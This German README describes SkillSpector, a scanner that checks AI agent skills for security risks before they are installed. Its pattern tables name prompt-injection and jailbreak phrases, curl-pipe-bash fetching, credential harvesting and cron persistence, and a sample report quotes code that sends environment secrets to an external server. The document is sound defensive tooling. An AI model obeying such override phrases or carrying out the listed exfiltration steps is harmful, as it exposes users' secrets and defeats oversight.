
Sicherheitsscanner für KI-Agenten-Skills. Erkennt Schwachstellen, bösartige Muster, Sicherheitsrisiken, Prompt-Injection, Datenerfiltration und Lieferkettenrisiken in Claude Code-, Codex- und MCP-Skills, bevor du sie installierst.
Security-Scanner für AI-Agent-Skills. Erkennen Sie Schwachstellen, bösartige Muster und Sicherheitsrisiken, bevor Sie Agent-Skills installieren.
AI-Agent-Skills (verwendet von Claude Code, Codex CLI, Gemini CLI usw.) werden mit implizitem Vertrauen und minimaler Prüfung ausgeführt. Die Forschung zeigt, dass 26,1 % der Skills Sicherheitslücken enthalten und 5,2 % wahrscheinlich bösartige Absichten aufweisen.
SkillSpector hilft Ihnen bei der Frage: „Ist dieser Skill sicher zu installieren?“
SkillSpector ist Teil der NVIDIA Verified Skills pipeline, die Agent-Skills vor der Veröffentlichung scannt, bewertet und signiert. Skills, die die Prüfung bestehen, werden im NVIDIA skills catalog veröffentlicht.
Hinweis zu Open-Source-Software: Dieses Projekt lädt zusätzliche Open-Source-Softwareprojekte von Drittanbietern herunter und installiert sie. Prüfen Sie vor der Verwendung die Lizenzbedingungen dieser Open-Source-Projekte.
Erstellen und aktivieren Sie zuerst eine virtuelle Umgebung (alle make-Ziele setzen voraus, dass die venv aktiv ist). Verwenden Sie uv oder pip; das Makefile verwendet uv, falls verfügbar, andernfalls pip.
Schnellinstallation mit uv (nur CLI):```bash uv tool install git+https://github.com/NVIDIA/skillspector.git
Wenn Sie planen, `skillspector mcp` auszuführen, installieren Sie das MCP-Extra bei der Installation:```bash
uv tool install 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
Aus dem Quellcode:```bash
git clone https://github.com/NVIDIA/skillspector.git cd skillspector
uv venv .venv && source .venv/bin/activate
make install
make install-dev
### Docker (kein Python erforderlich)
Führe SkillSpector aus, ohne Python zu installieren, indem du es lokal aus dem enthaltenen [Dockerfile](https://github.com/nvidia/skillspector/blob/HEAD/Dockerfile) erstellst. Das Image basiert auf dem offiziellen Docker-Python-`3.12-slim-bookworm`-Image.
**Image erstellen:**```bash
make docker-build
# or: docker build -t skillspector .
Lokales Verzeichnis scannen, indem Sie Ihr aktuelles Verzeichnis in /scan mounten, das Arbeitsverzeichnis des Containers:```bash
docker run --rm -v "$PWD:/scan" skillspector scan ./my-skill/ --no-llm
**Scan mit LLM-Analyse** durch Übergabe der Anmeldedaten über eine lokale `.env`-Datei:```bash
cat > .env <<'EOF'
SKILLSPECTOR_PROVIDER=anthropic
ANTHROPIC_API_KEY=sk-ant-...
EOF
[CHUNK START]
...
[CHUNK END]```bash
docker run --rm
-v "$PWD:/scan"
--env-file .env
skillspector scan ./my-skill/
Oder übergeben Sie Anmeldedaten direkt aus Ihrer Shell-Umgebung:```bash
docker run --rm \
-v "$PWD:/scan" \
-e SKILLSPECTOR_PROVIDER=anthropic \
-e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
skillspector scan ./my-skill/
Schreibe einen Bericht in das Host-Dateisystem, indem du in das gemountete Verzeichnis schreibst:```bash
docker run --rm
-v "$PWD:/scan"
skillspector scan ./my-skill/ --no-llm --format json --output report.json
**Optionaler Alias** für wiederholte statische Scans:```bash
alias skillspector-docker='docker run --rm -v "$PWD:/scan" skillspector'
skillspector-docker scan ./my-skill/ --no-llm
skillspector scan ./my-skill/
skillspector scan ./SKILL.md
skillspector scan https://github.com/user/my-skill
skillspector scan ./my-skill.zip
#### Größenlimits
SkillSpector erzwingt zwei unabhängige Grenzen für Remote- und Archiveingaben, um die Auswirkungen übermäßig großer Downloads und Zip-Bomben zu begrenzen:
- **Pro-Ingest-Grenze**: `INGEST_MAX_BYTES` (100 MiB) — angewendet auf gestreamte URL-Downloads, die gesamte unkomprimierte Größe von ZIP-Archiven und die Festplattennutzung von Git-Repos nach dem Klonen.
- **ZIP-Eintragslimit**: `INGEST_MAX_ZIP_MEMBERS` (10.000) — begrenzt die Anzahl der Einträge in einem einzelnen ZIP.
Beachten Sie, dass die Analysegrenze von 1 MB pro Datei (`MAX_FILE_BYTES`) eine separate, nachgelagerte Grenze ist: Sie begrenzt, was einzelne Analyzer aus einem bereits eingelesenen Verzeichnis lesen. Die obigen Ingest-Grenzen legen fest, wie viel Inhalt überhaupt auf der Festplatte landen kann. Eine Überschreitung einer der Ingest-Grenzen führt zu einem abgesicherten Fehlschlag (Fail-Closed) mit einem `IngestLimitExceededError`.
### Ausgabeformate```bash
# Terminal output (default) - pretty formatted
skillspector scan ./my-skill/
# JSON output - machine readable
skillspector scan ./my-skill/ --format json --output report.json
# Markdown output - for documentation
skillspector scan ./my-skill/ --format markdown --output report.md
# SARIF output - for CI/CD integration and IDE tooling
skillspector scan ./my-skill/ --format sarif --output report.sarif
Scanne ganze Verzeichnisse von Skills parallel aus contrib/batch_scan/:```bash
python -m contrib.batch_scan.batch_scan ./my-skills/ --no-llm
python -m contrib.batch_scan.batch_scan ./my-skills/ --workers 20 -f json -o report.json
python -m contrib.batch_scan.batch_scan ./tests/fixtures/ -f terminal --workers 20
Unterstützt mehrsprachige Erkennung (zh/ja/ko) und Terminal-/JSON-/Markdown-Ausgabe.
Für LLM-Scans mit höherer Parallelität konfigurieren Sie mehrere API-Schlüssel gemäß
[`.env.example`](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/.env.example) — der Pool verbessert den Durchsatz
und die Ausfallsicherheit, sofern die Schlüssel kein Rate-Limit auf Kontenebene teilen.
Siehe den [Contrib-Guide](https://github.com/nvidia/skillspector/blob/HEAD/contrib/batch_scan/docs/) für Details.
> **Hinweis zur LLM-Unterstützung:** Die Standardkonfiguration zielt auf DeepSeek als
> günstigste öffentliche Option. DeepSeek-Chat wird
> [voraussichtlich eingestellt](https://api-docs.deepseek.com/), und der Beitragende
> hat keine Hardware, um mit lokalen Modellen zu testen. Der Batch-Scanner wurde
> ursprünglich mit OpenAI-kompatiblen Endpunkten getestet — DeepSeeks fehlende
> Unterstützung für strukturierte Ausgaben erforderte manuelle JSON-Parsing-Patches. Wenn Sie
> ein universelleres Backend (Olama, vLLM oder einen anderen Anbieter) beisteuern können,
> sind PRs sehr willkommen.
### False Positives unterdrücken (Baseline)
Unterdrücken Sie bekannte/akzeptierte Befunde, sodass der Risikoscore nur nicht-triagierte
Probleme widerspiegelt und erneute Scans nur *neue* Befunde aufdecken. Siehe die
[Unterdrückungsanleitung](https://github.com/nvidia/skillspector/blob/HEAD/docs/SUPPRESSION.md) für die vollständige Referenz.```bash
# Accept all current findings into a baseline (run once), then commit it.
skillspector baseline ./my-skill/ -o .skillspector-baseline.yaml
# Scan against the baseline — only NEW findings are reported and scored.
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml
# Review what was suppressed (still excluded from the score).
skillspector scan ./my-skill/ --baseline .skillspector-baseline.yaml --show-suppressed
Eine Baseline kann auch drift-tolerante Glob-Regeln verwenden (nach Regel-ID, Dateipfad oder Nachricht) — siehe .skillspector-baseline.example.yaml.
Exakte Fingerprint-Baselines sind beweisgebunden: Eine Änderung der gescannten Quelle oder der SkillSpector-Version hält den Befund so lange aktiv, bis er erneut überprüft wird.
Wenn eine ausgewählte Baseline oder Baseline-Ausgabe im Skill-Verzeichnis gespeichert wird, schließt SkillSpector genau diese Datei von der Inhaltsanalyse aus, sodass ihr Unterdrückungstext keine Befunde erzeugen oder in neu generierte Fingerprints gelangen kann; Geschwisterdateien bleiben im normalen Scan-Bereich.
Für die besten Ergebnisse konfigurieren Sie einen OpenAI-kompatiblen LLM-Endpunkt für die semantische Analyse. Wählen Sie einen Anbieter über SKILLSPECTOR_PROVIDER; gehostete Anbieter bringen gebündelte Standardmodelle mit, während CLI-Anbieter auf das Standardmodell der lokalen Laufzeit zurückgreifen, sofern SKILLSPECTOR_MODEL nicht gesetzt ist. SkillSpector funktioniert auch mit lokalen OpenAI-kompatiblen Servern (Ollama, vLLM, llama.cpp) und verwalteten Inferenz-Gateways.
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=sk-... skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=anthropic export ANTHROPIC_API_KEY=sk-ant-... skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=anthropic_proxy export ANTHROPIC_PROXY_ENDPOINT_URL=https://my-gateway.example.com/models/claude-sonnet-4-6:streamRawPredict export ANTHROPIC_PROXY_API_KEY=your-bearer-token export SKILLSPECTOR_MODEL=claude-sonnet-4-6 skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=bedrock
export AWS_REGION=us-west-2 # default if unset
skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=nv_build export NVIDIA_INFERENCE_KEY=nvapi-... skillspector scan ./my-skill/
claude auth login sessionexport SKILLSPECTOR_PROVIDER=claude_cli
skillspector scan ./my-skill/
codex login sessionexport SKILLSPECTOR_PROVIDER=codex_cli skillspector scan ./my-skill/
export SKILLSPECTOR_PROVIDER=openai export OPENAI_API_KEY=ollama export OPENAI_BASE_URL=http://localhost:11434/v1 export SKILLSPECTOR_MODEL=llama3.1:8b skillspector scan ./my-skill/
export SKILLSPECTOR_MODEL=gpt-5.2 skillspector scan ./my-skill/
skillspector scan ./my-skill/ --no-llm
### MCP Server
Führen Sie SkillSpector als [Model Context Protocol](https://modelcontextprotocol.io)-Server aus, damit jeder MCP-fähige Agent (Claude Code, Codex CLI, Gemini CLI) oder eine Remote-Laufzeitumgebung das Scannen als Tool aufrufen und **Skill-/MCP-Installationen vom Ergebnis abhängig machen** kann — wodurch SkillSpector zu einer Laufzeit-Schutzmaßnahme wird, statt zu einem separaten Audit-Schritt.
`skillspector mcp` erfordert `skillspector[mcp]`.```bash
# Install, or reinstall if you already used the CLI-only path
uv tool install --force 'skillspector[mcp] @ git+https://github.com/NVIDIA/skillspector.git'
# FastMCP stdio transport for local CLI agents
skillspector mcp
# streamable HTTP/SSE transport for remote / A2A callers
skillspector mcp --transport http --host 127.0.0.1 --port 8000
Der stdio-Transport ist der aktuelle FastMCP-Pfad für lokale CLI-Agenten, und der in issue #199 gemeldete Hänger bei der Initialisierung gilt dort weiterhin.
Der Server stellt ein einzelnes Tool bereit:
scan_skill(target, use_llm=true, output_format="json") — scannt eine Git-URL,
Datei-URL, .zip-Datei, .md-Datei oder ein Verzeichnis und gibt ein
strukturiertes Urteil zurück: risk_score (0-100), severity,
recommendation, safe_to_install und findings. Es meldet außerdem
llm_used / scan_mode, sodass ein niedriger Wert aus einem rein statischen
Scan nie mit einem sauberen vollständigen Scan verwechselt wird.Registrieren Sie es mit Claude Code über:```bash claude mcp add skillspector -- skillspector mcp
> **Sicherheit — HTTP-Transport-Vertrauensmodell**
>
> Der HTTP-Transport wird **ohne Authentifizierung** ausgeliefert. Jeder Aufrufer, der
> den Port erreichen kann, kann `scan_skill` aufrufen. Über stdio oder `127.0.0.1` ist
> dies dieselbe Vertrauensgrenze wie bei der CLI. Wenn Sie an einer routbaren Schnittstelle binden:
>
> - Platzieren Sie den Server hinter einem authentifizierenden Reverse-Proxy (z. B. nginx + mTLS),
> bevor Sie ihn extern freigeben.
> - Lokale Pfade und `file://`-URLs werden über HTTP **automatisch abgelehnt**, um zu
> verhindern, dass nicht authentifizierte Aufrufer beliebige Hostdateien lesen. Es werden nur
> entfernte Git- und `.zip`-URLs akzeptiert.
## Schwachstellenmuster
SkillSpector erkennt **68 Schwachstellenmuster** in 17 Kategorien:
### Prompt-Injection (5 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| P1 | Anweisungsüberschreibung | HOCH | Befehle, um Sicherheitsbeschränkungen zu ignorieren |
| P2 | Versteckte Anweisungen | HOCH | Bösartige Anweisungen in Kommentaren/unsichtbarem Text |
| P3 | Exfiltrationsbefehle | HOCH | Anweisungen, Kontext extern zu übertragen |
| P4 | Verhaltensmanipulation | MITTEL | Subtile Anweisungen, die Agentenentscheidungen verändern |
| P5 | Schädlicher Inhalt | KRITISCH | Anweisungen, die physischen Schaden verursachen könnten |
### Anti-Refusal (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| AR1 | Verweigerungsunterdrückung | HOCH | Anweisungen, niemals zu verweigern oder immer zu gehorchen (z. B. „niemals verweigern“, „immer gehorchen“) |
| AR2 | Haftungsausschlussunterdrückung | HOCH | Anweisungen, Warnungen, Haftungsausschlüsse oder ethische Kommentare wegzulassen (z. B. „keine Haftungsausschlüsse“, „nicht moralisieren“) |
| AR3 | Sicherheitsrichtlinien-Nullifizierung | HOCH | Jailbreak-Framing, das Schutzmaßnahmen außer Kraft setzt (z. B. „Sie haben keine Einschränkungen“, „ignorieren Sie Ihre Richtlinien“, „tun Sie jetzt alles“) |
### Daten-Exfiltration (4 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| E1 | Externe Übertragung | MITTEL | Senden von Daten an externe URLs |
| E2 | Sammeln von Umgebungsvariablen | HOCH | Aufzählen, Kopieren oder Durchsuchen von Umgebungsdaten, um Geheimnisse zu sammeln |
| E3 | Dateisystem-Enumeration | MITTEL | Durchsuchen von Verzeichnissen nach sensiblen Dateien |
| E4 | Kontextleck | HOCH | Externes Übertragen von Gesprächskontext |
### Privilege Escalation (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| PE1 | Übermäßige Berechtigungen | NIEDRIG | Anfordern von Zugriff über die angegebene Funktionalität hinaus |
| PE2 | Sudo/Root-Ausführung | MITTEL | Aufrufen erweiterter Systemprivilegien |
| PE3 | Zugriff auf Anmeldeinformationen | HOCH | Lesen von SSH-Schlüsseln, Token und Passwörtern |
### Lieferkette (6 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| SC1 | Nicht gepinnte Abhängigkeiten | NIEDRIG | Keine Versionsbeschränkungen für Pakete |
| SC2 | Externes Skript-Abrufen | HOCH | curl \| bash und Remote-Codeausführung |
| SC3 | Verschleierter Code | HOCH | Base64/hex-kodierte Ausführung |
| SC4 | Bekannt verwundbare Abhängigkeiten | HOCH | Abhängigkeiten mit bekannten CVEs (Live-OSV.dev-Abfrage) |
| SC5 | Verlassene Abhängigkeiten | MITTEL | Nicht gewartete Pakete ohne Sicherheitsupdates |
| SC6 | Typosquatting | HOCH | Paketnamen, die bekannten Paketen ähneln |
### Übermäßige Handlungsfähigkeit (4 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| EA1 | Uneingeschränkter Tool-Zugriff | HOCH | Uneingeschränkter Tool-Zugriff ohne Beschränkungen |
| EA2 | Autonome Entscheidungsfindung | HOCH | Entscheidungen mit großer Auswirkung ohne Human-in-the-Loop |
| EA3 | Scope Creep | MITTEL | Fähigkeiten, die über den angegebenen Zweck hinausgehen |
| EA4 | Unbegrenzter Ressourcenzugriff | MITTEL | Keine Ratenbegrenzungen oder Kontingente für den Ressourcenverbrauch |
### Ausgabebehandlung (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| OH1 | Unvalidierte Ausgabe-Injektion | HOCH | Modellausgabe ohne Bereinigung verwendet |
| OH2 | Kontextübergreifende Ausgabe | MITTEL | Ausgabe fließt ohne Validierung über Vertrauensgrenzen |
| OH3 | Unbegrenzte Ausgabe | MITTEL | Keine Begrenzung der Ausgabegröße oder Generierungsrate |
### System-Prompt-Leckage (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| P6 | Direktes Leck | HOCH | Anweisungen, die Systemprompts oder interne Regeln offenlegen |
| P7 | Indirekte Extraktion | MITTEL | Extraktion durch Umformulierung, Übersetzung oder Seitenkanäle |
| P8 | Tool-basierte Exfiltration | HOCH | Systemprompts, die über Dateischreibvorgänge oder Netzwerkanforderungen exfiltriert werden |
### Speichervergiftung (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| MP1 | Persistente Kontextinjektion | HOCH | Inhalte, die dazu bestimmt sind, über Interaktionen hinweg zu bestehen |
| MP2 | Kontextfenster-Auffüllen | MITTEL | Füllinhalte, die Sicherheitsbeschränkungen verdrängen |
| MP3 | Speichermanipulation | HOCH | Manipulation des Agentenspeichers oder des gespeicherten Zustands |
### Tool-Missbrauch (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| TM1 | Missbrauch von Tool-Parametern | HOCH | Präparierte Parameter für unbeabsichtigtes Verhalten (shell=True, --force) |
| TM2 | Kettenmissbrauch | HOCH | Tool-Ketten, die einzelne Sicherheitsprüfungen umgehen |
| TM3 | Unsichere Standardeinstellungen | MITTEL | Übermäßig freizügige Standardeinstellungen (deaktiviertes TLS, keine Authentifizierung) |
### Schurken-Agent (2 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| RA1 | Selbstmodifikation | KRITISCH | Ändern des eigenen Codes oder der eigenen Konfiguration zur Laufzeit |
| RA2 | Sitzungspersistenz | HOCH | Unbefugte Persistenz über Cron-Jobs oder Startskripte |
### Trigger-Missbrauch (3 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| TR1 | Übermäßig breiter Trigger | MITTEL | Trigger-Muster, die auf häufig verwendete Wörter passen |
| TR2 | Shadow-Command-Trigger | HOCH | Trigger, die eingebaute Befehle oder andere Fähigkeiten überschatten |
| TR3 | Keyword-Baiting-Trigger | MITTEL | Generische Trigger, die darauf ausgelegt sind, die Aktivierung zu maximieren |
### Verhaltens-AST (9 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| AST1 | exec()-Aufruf | KRITISCH | Direkter exec()-Aufruf, der beliebige Codeausführung ermöglicht |
| AST2 | eval()-Aufruf | HOCH | Direkter eval()-Aufruf, der beliebige Ausdrücke auswertet |
| AST3 | Dynamischer Import | HOCH | \_\_import\_\_() lädt zur Laufzeit beliebige Module |
| AST4 | subprocess-Aufruf | HOCH | Ausführung externer Befehle über subprocess |
| AST5 | os.system / exec-Familie | HOCH | Shell-Befehle über das os-Modul |
| AST6 | compile()-Aufruf | MITTEL | Erstellung von Codeobjekten aus Zeichenfolgen |
| AST7 | Dynamisches getattr() | MITTEL | Beliebiger Attributzugriff mit nicht-literalen Namen |
| AST8 | Gefährliche Ausführungskette | KRITISCH | exec/eval kombiniert mit dynamischer Quelle (Netzwerk, codierte Daten) |
| AST9 | Reflektiver getattr()-Sink | HOCH | Reflektiver exec über `getattr(os,'system')` / `getattr(builtins,'exec')`, der AST1/AST5 umgeht |
### Taint-Tracking (5 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| TT1 | Direkter Taint-Fluss | HOCH | Daten fließen direkt von einer Quelle zu einer Senke ohne Bereinigung |
| TT2 | Variablenvermittelter Taint-Fluss | MITTEL | Daten fließen von der Quelle zur Senke über Zwischenvariablen |
| TT3 | Kette zur Exfiltration von Anmeldeinformationen | KRITISCH | Anmeldeinformationen (Umgebungsvariablen, Geheimnisse) fließen zu Netzwerk-Ausgabesenken |
| TT4 | Dateilesen zu Netzwerk-Exfiltration | HOCH | Dateiinhalte fließen zu Netzwerk-Ausgabesenken |
| TT5 | Externe Eingabe zu Codeausführung | KRITISCH | Netzwerk- oder Benutzereingaben fließen zu exec/eval/subprocess-Senken |
### YARA-Signaturen (4 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| YR1 | Malware-Treffer | KRITISCH | YARA-Regelübereinstimmung für bekannte Malware-Signaturen |
| YR2 | Webshell-Treffer | KRITISCH | YARA-Regelübereinstimmung für Webshell-Muster |
| YR3 | Cryptominer-Treffer | HOCH | YARA-Regelübereinstimmung für Krypto-Mining-Indikatoren |
| YR4 | Hack-Tool-/Exploit-Treffer | HOCH | YARA-Regelübereinstimmung für Hack-Tools oder Exploit-Code |
### MCP-Minimalprivileg (4 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| LP1 | Unterdeklarierte Fähigkeit | HOCH | Code verwendet Fähigkeiten, die nicht in den deklarierten Berechtigungen aufgeführt sind |
| LP2 | Wildcard-Berechtigung | MITTEL | Berechtigungsliste enthält Wildcards (\*, all, full, any) |
| LP3 | Fehlende Berechtigungsdeklaration | MITTEL | Kein Berechtigungsfeld, aber Code hat erkennbare Fähigkeiten |
| LP4 | Überdeklarierte Berechtigung | NIEDRIG | Berechtigung deklariert, aber keine entsprechende Codefähigkeit gefunden |
### MCP-Toolvergiftung (4 Muster)
| ID | Pattern | Severity | Description |
|----|---------|----------|-------------|
| TP1 | Versteckte Anweisungen | HOCH | Versteckte Anweisungen in Metadaten (HTML-Kommentare, Nullbreitenzeichen, Base64, Data-URIs) |
| TP2 | Unicode-Täuschung | HOCH | Homoglyphen, RTL-Überschreibungen, gemischt-skriptige Bezeichner in Tool-Metadaten |
| TP3 | Parameterbeschreibungs-Injektion | MITTEL | Injektionsmuster in Parameterdefinitionen (Überschreibungen, System-Tokens, bösartige Standardwerte) |
| TP4 | Beschreibungs-Verhaltens-Diskrepanz | MITTEL | Deklarierte Tool-Beschreibung stimmt nicht mit dem tatsächlichen Code-Verhalten überein (LLM-gestützt) |
Alle erkannten Muster sind in den obigen Tabellen aufgeführt.
## Risikobewertung
### Score-Berechnung
- **KRITISCHE Probleme**: +50 Punkte
- **HOHE Probleme**: +25 Punkte
- **MITTLERE Probleme**: +10 Punkte
- **NIEDRIGE Probleme**: +5 Punkte
- **Ausführbare Skripte**: 1,3-facher Multiplikator
### Schweregradstufen
| Score | Severity | Recommendation |
|-------|----------|----------------|
| 0-20 | NIEDRIG | SICHER |
| 21-50 | MITTEL | VORSICHT |
| 51-80 | HOCH | NICHT INSTALLIEREN |
| 81-100 | KRITISCH | NICHT INSTALLIEREN |
## Beispielausgabe
### Terminalausgabe```
SkillSpector Security Report v2.0.0
Skill: suspicious-skill
Source: ./suspicious-skill/
Scanned: 2026-01-29 10:30:00 UTC
Risk Assessment
Metric Value
Score 78/100
Severity HIGH
Recommendation DO NOT INSTALL
Components (3)
File Type Lines Executable
SKILL.md markdown 142 No
scripts/sync.py python 87 Yes
requirements.txt text 3 No
Issues (2)
HIGH: Env Variable Harvesting (E2)
Location: scripts/sync.py:23
Finding: for key, val in os.environ.items():...
Confidence: 94%
Explanation: This code collects environment variables containing
API keys and secrets, then sends them to an external server.
HIGH: External Transmission (E1)
Location: scripts/sync.py:45
Finding: requests.post("https://api.skill.io/env"...
Confidence: 89%
Explanation: Data is being sent to an external server. Combined
with env harvesting above, this indicates credential exfiltration.
CLI-Anbieter (
claude_cli,codex_cli): Es wird kein API-Schlüssel benötigt. Die Authentifizierung wird vollständig über die eigene Login-Sitzung der Agent-CLI verwaltet (claude auth login/codex login). SkillSpector liest oder leitet bei aktiven Anbietern niemals API-Schlüssel weiter. Der Unterprozess wird in einer gehärteten Sandbox ausgeführt: Tools deaktiviert, kein MCP, schreibgeschützter Sandbox-Modus (codex) und nicht vertrauenswürdiger Skill-Inhalt wird nur über stdin übermittelt.
skillspector scan --help
Options: -f, --format [terminal|json|markdown|sarif] Output format [default: terminal] -o, --output PATH Output file path --no-llm Skip LLM analysis (static only) --yara-rules-dir PATH Extra YARA rules directory -b, --baseline PATH Suppress findings listed in a baseline --show-suppressed List baseline-suppressed findings -V, --verbose Show detailed progress --help Show this message and exit
skillspector baseline [-o FILE] [--no-llm] [--reason TEXT]
## SkillSpector integrieren
SkillSpector ist dafür gebaut, von anderen Tools gesteuert zu werden (CI-Pipelines, Installations-Gates, Editor-Integrationen). Sein Exit-Code und seine JSON-Ausgabe sind ein stabiler Vertrag.
### Exit-Codes
`skillspector scan` beendet sich mit:
| Code | Bedeutung |
|------|-----------|
| `0` | Scan abgeschlossen, `risk_score` ≤ 50 (Empfehlung `SAFE` oder `CAUTION`) |
| `1` | Scan abgeschlossen, `risk_score` > 50 (Empfehlung `DO_NOT_INSTALL`) |
| `2` | Fehler (ungültige Eingabe, nicht lesbare Quelle, interner Fehler) |
> Der Exit-Code fasst `SAFE` und `CAUTION` zu `0` zusammen. Um unterschiedlich auf sie zu reagieren (z. B. bei `CAUTION` *warnen*, aber bei `DO_NOT_INSTALL` *blockieren*), lies das Feld `recommendation` aus der JSON-Ausgabe, anstatt dich auf den Exit-Code zu verlassen.
### Maschinenlesbare Ausgabe
`--format json` erzeugt einen JSON-Bericht; ohne `--output`/`-o` wird er nach stdout geschrieben:```bash
skillspector scan ./my-skill/ --format json
Die Form der obersten Ebene ist (dieses Beispiel zeigt einen vollständigen LLM-gestützten Scan; mit --no-llm ist metadata.llm_requested false):```json
{
"skill": { "name": "...", "source": "...", "scanned_at": "<ISO 8601>" },
"risk_assessment": { "score": 0, "severity": "LOW", "recommendation": "SAFE" },
"components": [ { "path": "...", "type": "...", "lines": 0, "executable": false, "size_bytes": 0 } ],
"issues": [ { "id": "...", "category": "...", "severity": "...", "confidence": 0.0, "location": { "file": "...", "start_line": 0 } } ],
"metadata": {
"has_executable_scripts": false,
"skillspector_version": "...",
"llm_requested": true,
"llm_available": true,
"inference_usage": [
{
"node": "semantic_security_discovery",
"request_kind": "structured_output",
"provider": "nv_inference",
"model": "azure/anthropic/claude-opus-4-6",
"model_source": "provider_response",
"usage_source": "provider_response",
"prompt_tokens": 1000,
"completion_tokens": 100,
"cached_tokens": 400,
"cache_write_tokens": 50,
"total_tokens": 1100
}
]
}
}
- `risk_assessment.severity` ∈ `LOW | MEDIUM | HIGH | CRITICAL`.
- `risk_assessment.recommendation` ∈ `SAFE | CAUTION | DO_NOT_INSTALL`, zugeordnet vom Schweregrad: `LOW → SAFE`, `MEDIUM → CAUTION`, `HIGH`/`CRITICAL → DO_NOT_INSTALL`.
- `metadata.llm_error` erscheint nur, wenn eine LLM-Analyse angefordert, aber nicht verfügbar war.
- `metadata.inference_usage` enthält einen bereinigten Datensatz pro LLM-Antwort, wenn der
Anbieter Token-Zähler bereitstellt. Es ist eine leere Liste, wenn die Nutzung nicht verfügbar ist;
SkillSpector schätzt fehlende Token nie. Die Prompt-Summen umfassen Cache-Lese-
und -Schreibvorgänge, sodass die nachgelagerte Preisgestaltung diese Partitionen sicher trennen kann.
`model_source` unterscheidet ein unabhängig identifiziertes Anbietermodell von
dem genauen angeforderten Modell, das verwendet wird, wenn die Antwortidentität fehlt oder mehrdeutig ist.
SkillSpector sendet derzeit keine Anthropic-Prompt-Cache-Steuerungen, daher können seine Scan-Anfragen nicht
die separaten 5-Minuten- oder 1-Stunden-Cache-Schreibstufen auswählen;
TTL-spezifische Antwortfelder werden defensiv in den aggregierten
Cache-Schreibzähler normalisiert.
- Siehe [Inference-Nutzungstelemetrie](https://github.com/nvidia/skillspector/blob/HEAD/docs/INFERENCE_USAGE.md) für den vollständigen
Vertrag über Herkunft, Cache-Abrechnung, Datenschutz, Fail-Closed-Erfassung und die nachgelagerte
Preisgestaltung.
- Die vollständige Form pro Befund wird durch `Finding.to_dict()` in [models.py](https://github.com/nvidia/skillspector/blob/HEAD/src/skillspector/models.py) definiert; verlassen Sie sich auf die obigen Felder und behandeln Sie alle zusätzlichen Felder als Best-Effort.
Für CI/IDE-Werkzeuge gibt `--format sarif` SARIF 2.1.0 aus.
### Empfohlene Gate-Zuordnung
Wenn SkillSpector als Installations-Gate verwendet wird, ordnen Sie die Empfehlung einer Aktion zu:
| `recommendation` | Vorgeschlagene Aktion |
|------------------|------------------|
| `SAFE` | erlauben |
| `CAUTION` | Benutzer auffordern / warnen |
| `DO_NOT_INSTALL` | blockieren |
SkillSpector berechnet das Bewertungsband und die Empfehlung; wie streng das Gate ist (z. B. ob `CAUTION` in CI blockiert), ist eine Richtlinienentscheidung des integrierenden Werkzeugs.
## Entwicklung
### Einrichtung
Alle `make`-Ziele setzen voraus, dass eine virtuelle Umgebung bereits erstellt und aktiviert ist. Das Makefile verwendet **uv**, falls verfügbar, sonst **pip**.```bash
# Clone, create venv, activate, install dev dependencies
git clone https://github.com/NVIDIA/skillspector.git
cd skillspector
uv venv .venv && source .venv/bin/activate
# or: python3 -m venv .venv && source .venv/bin/activate
make install-dev
# Run tests
make test
# Run tests with coverage
make test-cov
# Run linting
make lint
# Format code
make format
SkillSpector verwendet eine zweistufige Erkennungspipeline:
Eine gültige, auf Root-Ebene signierte OpenSSF Model Signing-Signatur (skill.oms.sig) wird im
Komponenteninventar als Typ oms_signature geführt, jedoch von der statischen und LLM-Inhaltsanalyse ausgeschlossen.
OMS-Bündel enthalten zwangsläufig lange base64-codierte Payload-, Signatur- und Zertifikatsfelder;
generische Prüfungen auf verschleierten Code könnten diese Felder andernfalls als versteckte ausführbare Inhalte fehlklassifizieren.
Der Erkennungsmechanismus prüft die minimale OMS-DSSE/in-toto-Struktur; er verifiziert weder die Signatur,
die Zertifikatskette, den Transparenzlog-Eintrag noch die Identität des Unterzeichners. Ungültige oder nicht erkannte
Signaturdateien werden normal gescannt.
Der LLM-Prompt enthält Anti-Jailbreak-Schutzmaßnahmen, um eine Manipulation der Analyse durch bösartige Skills zu verhindern.
SC4 verwendet die OSV.dev-API, um Abhängigkeiten gegen die vollständige Open-Source-Vulnerabilities-Datenbank zu prüfen – sie umfasst Zehntausende von Sicherheitshinweisen für PyPI und npm.
Das Tool benötigt ausgehenden HTTPS-Zugriff auf api.osv.dev für Live-Schwachstellendaten. Wenn dieser nicht verfügbar ist, beschränken sich die Erkenntnisse auf die statische Fallback-Liste.
SkillSpector ist Defense-in-Depth, keine Sandbox. Wisse, was es tut und was nicht, bevor du dich darauf verlässt:
